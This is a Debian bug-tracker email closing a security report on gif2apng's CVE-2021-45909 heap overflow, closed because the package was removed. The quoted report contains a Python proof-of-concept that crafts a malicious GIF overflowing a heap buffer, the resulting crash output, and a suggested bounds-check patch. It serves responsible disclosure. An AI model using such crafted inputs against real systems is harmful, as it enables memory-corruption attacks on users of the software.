Your message dated Mon, 07 Feb 2022 21:43:10 +0000 with message-id <e1nhbmw-0002k2...@fasolo.debian.org> and subject line Bug#1004933: Removed package(s) from unstable has caused the Debian Bug report #1002668, regarding gif2apng: CVE-2021-45909: Heap based buffer overflow in the DecodeLZW function to be marked as done.
This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1002668: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1002668 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
--- Begin Message ---Package: gif2apng Version: 1.9+srconly-3 Severity: important Tags: security Dear Maintainer, There is a heap based buffer overflow in the gif2apng package. The vulnerability is located in the DecodeLZW function in the gif2apng.cpp file. The problem here is, that this function writes to a buffer, that was allocated using malloc without checking the size of this buffer. Therefore it is possible to provide a gif to the program, that contains more data than fits into this buffer leading to a memory corruption on the heap. I wrote the following poc script in python: #!/bin/python3 # Writing to poc.gif f = open("poc.gif", "wb") # Data needed to enter the code path: beginning = b"GIF87a" + b"\x10\x00\x10\x00" + b"\x01" * 3 + b"\x2c" + b"\x01" * 9 f.write(beginning) # Value needed in the vulnerable function mincode = b"\x07" f.write(mincode) for i in range(0,10000): # Size value and byte we write to the heap target_char = b"\x01" + b"A" f.write(target_char) # Resetting the values using "clearcode" to keep the code path as simple as possible clear_code = b"\x01" + b"\x80" f.write(clear_code) f.close() This script creates a file called poc.gif, which writes 10000 "A"'s into a buffer of size 512 leading to memory corruption on the heap. I tested this on Debian 10 using the current version of the package from the testing repository and got the following output: $ gif2apng -i0 poc.gif /dev/null gif2apng 1.9 using ZLIB Reading 'poc.gif'... 1 frames. malloc(): corrupted top size Abgebrochen This vulnerability seems to allow a write of an arbitrary number of arbitrary bytes. Therefore I think it likely, that this could be exploited. To fix this issue locally I added a buffer_size variable to the main function, which holds the size of the allocated buffer (the imagesize value used initially for the allocation was overwritten at some point). I then passed this value to the DecodeLZW function and added two if-statements around the writes to the the buffer to check whether the buffer can hold more bytes. My code looks as follows: void DecodeLZW(unsigned char * img, unsigned int img_size, FILE * f1) // added parameter img_size { unsigned int bytes_written = 0; [...] if (lastcode == -1) { if (bytes_written < img_size) { // Added if-statement *pout++ = suffix[code]; bytes_written++; } else { printf("Invalid image size\n"); exit(0); } firstchar = lastcode = code; continue; } [...] do { if (bytes_written < img_size) { // Added if-statement *pout++ = *--pstr; bytes_written++; } else { printf("Invalid image size\n"); exit(0); } } while (pstr > str); [...] int main(int argc, char** argv) { unsigned int buffer_size = 0; // New variable to hold the size of the buffer [...] grayscale = 1; buffer_size = imagesize*2; // New variable, as imagesize is overwritten at some point buffer = (unsigned char *)malloc(buffer_size); if (buffer == NULL) { printf("Error: not enough memory\n"); return 1; } [...] DecodeLZW(buffer, buffer_size, f1); // Added buffer_size [...] DecodeLZW(buffer, buffer_size, f1); // Added Buffer size [...] This compiled successfully and fixed the buffer overflow for me. I am however not sure if this is the cleanest way to fix the issue and it could use some more testing. Best regards Kolja -- System Information: Debian Release: 10.11 APT prefers oldstable-updates APT policy: (500, 'oldstable-updates'), (500, 'oldstable') Architecture: amd64 (x86_64) Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores) Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages gif2apng depends on: ii libc6 2.28-10 ii libzopfli1 1.0.2-1 ii zlib1g 1:1.2.11.dfsg-1 gif2apng recommends no packages. Versions of packages gif2apng suggests: pn apng2gif <none> -- no debconf information
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--- Begin Message ---Version: 1.9+srconly-3+rm Dear submitter, as the package gif2apng has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1004933 The version of this package that was in Debian prior to this removal can still be found using http://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Scott Kitterman (the ftpmaster behind the curtain)
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